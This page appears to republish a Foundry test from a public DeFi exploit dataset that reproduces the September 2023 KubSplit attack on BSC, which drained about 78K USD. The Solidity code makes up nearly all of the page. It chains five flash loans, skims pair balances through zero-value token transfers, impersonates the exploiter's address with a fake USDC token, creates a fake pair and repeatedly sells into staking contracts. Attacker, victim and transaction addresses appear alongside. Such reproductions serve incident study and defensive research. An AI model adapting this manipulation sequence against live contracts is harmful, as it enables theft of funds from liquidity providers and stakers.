Public reproduction file
src/test/2023-09/Kub_Split_exp.sol
Public reproduction file for dataset entry KubSplit.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~78K USD$8// Attacker : https://bscscan.com/address/0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e9// Attack Contract : https://bscscan.com/address/0xa7fe9c5d4b87b0d03e9bb99f4b4e76785de26b5d10// Vulnerable Contract : https://bscscan.com/address/0xc98e183d2e975f0567115cb13af893f0e3c0d0bd11// Attack Tx : https://bscscan.com/tx/0x2b0877b5495065e90d956e44ffde6aaee5e0fcf99dd3c86f5ff53e33774ea52d13// @Analysis14// https://twitter.com/CertiKAlert/status/170596621431961209216interface IStakingRewards {17 function stake(address token, address token1, address token2, address up, uint256 amount) external;19 function sell(address token, address token1, uint256 amount) external;20}22interface ISplit is IERC20 {23 function setPair(24 address token25 ) external;26}28contract ContractTest is Test {29 Uni_Pair_V2 private constant BUSDT_KUB_LP = Uni_Pair_V2(0x39aDFE6ec5a19bb573a2Fd8A5028031C0dc57600);30 Uni_Pair_V2 private constant KUB_Split = Uni_Pair_V2(0x16bF07CC3b84c6C2F97c32a6C66aEB726AbfC570);31 IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);32 IERC20 private constant KUB = IERC20(0x808602d91e58f2d58D7C09306044b88234ab4628);33 ISplit private constant Split = ISplit(0xc98E183D2e975F0567115CB13AF893F0E3c0d0bD);34 IERC20 private constant fakeUSDC = IERC20(0xa88D48a4c6D8dD6a166A71CC159A2c588Fa882BB);35 IDPPOracle private constant DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);36 IDPPOracle private constant DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);37 IDPPOracle private constant DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);38 IDPPOracle private constant DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);39 IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);40 Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);41 Uni_Router_V2 private constant PancakeRouter1 = Uni_Router_V2(0xfDE81E1f340C3ec271142723781df9e685653213);42 Uni_Router_V2 private constant PancakeRouter2 = Uni_Router_V2(0x5D82aeA1fE75CB40AfE792dAe1cf76EA8E2808CE);43 IStakingRewards private constant StakingRewards1 = IStakingRewards(0x26Eea9ff2f3caDec4d6Fc4f462F677b58AB31Ab0);44 IStakingRewards private constant StakingRewards2 = IStakingRewards(0x3A006dD44a4a0e43C942f57d452a6a7Ada25AdC3);45 Uni_Pair_V2 private constant BUSDT_Split = Uni_Pair_V2(0xe4D038DE672e226877Db8FA2670C5ba9778155fF);46 address private constant BUSDT_KUB = 0x1E338D9Db6bb78cFd8eE1F756907899C006711AF;47 address private constant upAddressForStake = 0x67Bf514E9e07b2F95C8805f9a035f60512384d1c;48 address private constant exploiter = 0x7Ccf451D3c48C8bb747f42F29A0CdE4209FF863e;50 function setUp() public {51 vm.createSelectFork("bsc", 32_021_100 - 1);52 vm.label(address(BUSDT_KUB_LP), "BUSDT_KUB_LP");53 vm.label(address(KUB_Split), "KUB_Split");54 vm.label(address(BUSDT), "BUSDT");55 vm.label(address(KUB), "KUB");56 vm.label(address(Split), "Split");57 vm.label(address(fakeUSDC), "fakeUSDC");58 vm.label(address(DPPOracle1), "DPPOracle1");59 vm.label(address(DPPOracle2), "DPPOracle2");60 vm.label(address(DPPOracle3), "DPPOracle3");61 vm.label(address(DPPAdvanced), "DPPAdvanced");62 vm.label(address(DPP), "DPP");63 vm.label(address(Router), "Router");64 vm.label(address(PancakeRouter1), "PancakeRouter1");65 vm.label(address(PancakeRouter2), "PancakeRouter2");66 vm.label(address(StakingRewards1), "StakingRewards1");67 vm.label(address(StakingRewards2), "StakingRewards2");68 vm.label(BUSDT_KUB, "BUSDT_KUB");69 vm.label(address(BUSDT_Split), "BUSDT_Split");70 vm.label(upAddressForStake, "upAddressForStake");71 }73 function testExploit() public {74 deal(address(BUSDT), address(this), 0);75 deal(address(fakeUSDC), address(this), 10_000 * 1e18);77 emit log_named_decimal_uint(78 "Attacker BUSDT balance before attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()79 );81 emit log_named_decimal_uint("Attacker KUB balance before attack", KUB.balanceOf(address(this)), KUB.decimals());83 emit log_named_decimal_uint(84 "Attacker Split balance before attack", Split.balanceOf(address(this)), Split.decimals()85 );87 BUSDT_KUB_LP.sync();89 DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), abi.encode(0));91 emit log_named_decimal_uint(92 "Attacker BUSDT balance after attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()93 );95 emit log_named_decimal_uint("Attacker KUB balance after attack", KUB.balanceOf(address(this)), KUB.decimals());97 emit log_named_decimal_uint(98 "Attacker Split balance after attack", Split.balanceOf(address(this)), Split.decimals()99 );100 }102 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {103 if (abi.decode(data, (uint256)) == uint256(0)) {104 DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), abi.encode(1));105 } else if (abi.decode(data, (uint256)) == uint256(1)) {106 DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), abi.encode(2));107 } else if (abi.decode(data, (uint256)) == uint256(2)) {108 DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), abi.encode(3));109 } else if (abi.decode(data, (uint256)) == uint256(3)) {110 DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), abi.encode(4));111 } else {112 BUSDT.approve(address(Router), type(uint256).max);113 BUSDT.approve(address(StakingRewards1), type(uint256).max);115 BUSDTToKUB();116 KUB.transfer(address(KUB_Split), KUB.balanceOf(address(this)) - 10);117 KUB_Split.sync();119 BUSDTToSplit();120 StakingRewards1.stake(address(KUB), address(BUSDT), address(BUSDT), upAddressForStake, 1000e18);122 uint8 i;123 while (i < 30) {124 Split.transfer(address(this), 0);125 ++i;126 }128 Split.transfer(address(BUSDT_Split), 0);129 BUSDT_Split.skim(address(this));130 Split.transfer(address(KUB_Split), 0);131 KUB.transfer(address(KUB_Split), 1);132 KUB_Split.skim(address(this));133 Split.transfer(address(KUB_Split), 0);134 KUB_Split.sync();135 for (i = 0; i < 2; ++i) {136 BUSDT_Split.skim(address(this));137 }138 // Amount of Split to send to pair later139 uint256 amountSplit = Split.balanceOf(address(BUSDT_Split)) * 2;140 // Exploit141 // Creating pair with original fake USDC token deployed by attacker before142 address fakeUSDC_Split = IUniswapV2Factory(Router.factory()).createPair(address(fakeUSDC), address(Split));143 // Tx.origin must be exploiter eoa here (because original fake USDC contract is in use and exploiter addr is required to transfer)144 vm.startPrank(address(this), exploiter);145 // Send tokens to newly created token pair - USDC-Split146 fakeUSDC.transfer(fakeUSDC_Split, 1e6);147 Split.transfer(fakeUSDC_Split, amountSplit);148 Uni_Pair_V2(fakeUSDC_Split).sync();150 Split.setPair(address(fakeUSDC));151 fakeUSDC.approve(address(Router), type(uint256).max);152 // Swap fakeUSDC => Split => BUSDT153 fakeUSDCToBUSDT();154 vm.stopPrank();156 Split.approve(address(StakingRewards2), type(uint256).max);157 KUB.approve(address(StakingRewards1), type(uint256).max);159 i = 0;160 while (i < 100) {161 (uint112 reserveKUB, uint112 reserveSplit,) = KUB_Split.getReserves();162 uint256 amountOutKUB = calcAmountOut(KUB_Split, StakingRewards2, reserveKUB, KUB);164 uint256 amountInSplit = PancakeRouter2.getAmountIn(amountOutKUB, reserveSplit, reserveKUB);166 if (Split.balanceOf(address(this)) <= ((amountInSplit * 2) * 9) / 10) {167 StakingRewards2.sell(address(Split), address(KUB), amountInSplit);168 } else {169 StakingRewards2.sell(address(Split), address(KUB), ((amountInSplit * 2) * 9) / 10);170 }171 ++i;172 }174 i = 0;175 while (i < 10) {176 (uint112 reserveBUSDT, uint112 reserveKUB,) = BUSDT_KUB_LP.getReserves();177 uint256 amountOutBUSDT = calcAmountOut(BUSDT_KUB_LP, StakingRewards1, reserveBUSDT, BUSDT);178 uint256 amountInKUB = PancakeRouter1.getAmountIn(amountOutBUSDT, reserveKUB, reserveBUSDT);180 StakingRewards1.sell(address(KUB), address(BUSDT), amountInKUB);182 ++i;183 }184 }185 BUSDT.transfer(msg.sender, quoteAmount);186 }188 function BUSDTToKUB() internal {189 address[] memory path = new address[](2);190 path[0] = address(BUSDT);191 path[1] = address(KUB);192 Router.swapExactTokensForTokens(BUSDT.balanceOf(BUSDT_KUB) * 2, 0, path, address(this), block.timestamp + 1000);193 }195 function BUSDTToSplit() internal {196 address[] memory path = new address[](2);197 path[0] = address(BUSDT);198 path[1] = address(Split);199 Router.swapExactTokensForTokens(200 BUSDT.balanceOf(address(BUSDT_Split)) * 2, 0, path, address(this), block.timestamp + 1000201 );202 }204 function fakeUSDCToBUSDT() internal {205 address[] memory path = new address[](3);206 path[0] = address(fakeUSDC);207 path[1] = address(Split);208 path[2] = address(BUSDT);209 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(210 fakeUSDC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000211 );212 }214 function calcAmountOut(215 Uni_Pair_V2 pool,216 IStakingRewards stakingRewards,217 uint112 reserve,218 IERC20 token219 ) internal view returns (uint256) {220 uint256 a = pool.totalSupply() * 1000;221 uint256 b = pool.balanceOf(address(stakingRewards)) * 7;222 uint256 c = (b * reserve) / a;223 return (token.balanceOf(address(stakingRewards)) + c);224 }225}Analysis
Dataset entry
Public Foundry test for “KubSplit” (2023-09-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-09/0x0DEX_exp.solSame month in the dataset · 269 lines
- src/test/2023-09/APIG_exp.solSame month in the dataset · 105 lines
- src/test/2023-09/BFCToken_exp.solSame month in the dataset · 109 lines
- src/test/2023-09/CEXISWAP_exp.solSame month in the dataset · 77 lines
- src/test/2023-09/DAppSocial_exp.solSame month in the dataset · 109 lines
- src/test/2023-09/DEXRouter_exp.solSame month in the dataset · 55 lines
- src/test/2023-09/FireBirdPair_exp.solSame month in the dataset · 141 lines
- src/test/2023-09/FloorDAO_exp.solSame month in the dataset · 83 lines
- src/test/2023-09/HCT_exp.solSame month in the dataset · 105 lines
- src/test/2023-09/HeavensGate_exp.solSame month in the dataset · 97 lines
- src/test/2023-09/JumpFarm_exp.solSame month in the dataset · 83 lines
- src/test/2023-09/QuantumWN_exp.solSame month in the dataset · 73 lines
- src/test/2023-09/uniclyNFT_exp.solSame month in the dataset · 126 lines
- src/test/2023-09/XSDWETHpool_exp.solSame month in the dataset · 123 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e
- Attack Contract
0xa7fe9c5d4b87b0d03e9bb99f4b4e76785de26b5d
- Vulnerable Contract
0xc98e183d2e975f0567115cb13af893f0e3c0d0bd
- Attack Tx
0x2b0877b5495065e90d956e44ffde6aaee5e0fcf99dd3c86f5ff53e33774ea52d
- Explorer: https://bscscan.com/address/0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e
- Explorer: https://bscscan.com/address/0xa7fe9c5d4b87b0d03e9bb99f4b4e76785de26b5d
- Explorer: https://bscscan.com/address/0xc98e183d2e975f0567115cb13af893f0e3c0d0bd
- Reference: https://twitter.com/CertiKAlert/status/1705966214319612092
File record
- Name
- KubSplit
- Path
- src/test/2023-09/Kub_Split_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 0a8def406d64c1303723aa0b2ea13eb36f063dd3
- Language
- Solidity
- Size
- 226 lines
- Date
- 2023-09-24
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-09/Kub_Split_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0a8def406d64c1303723aa0b2ea13eb36f063dd3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.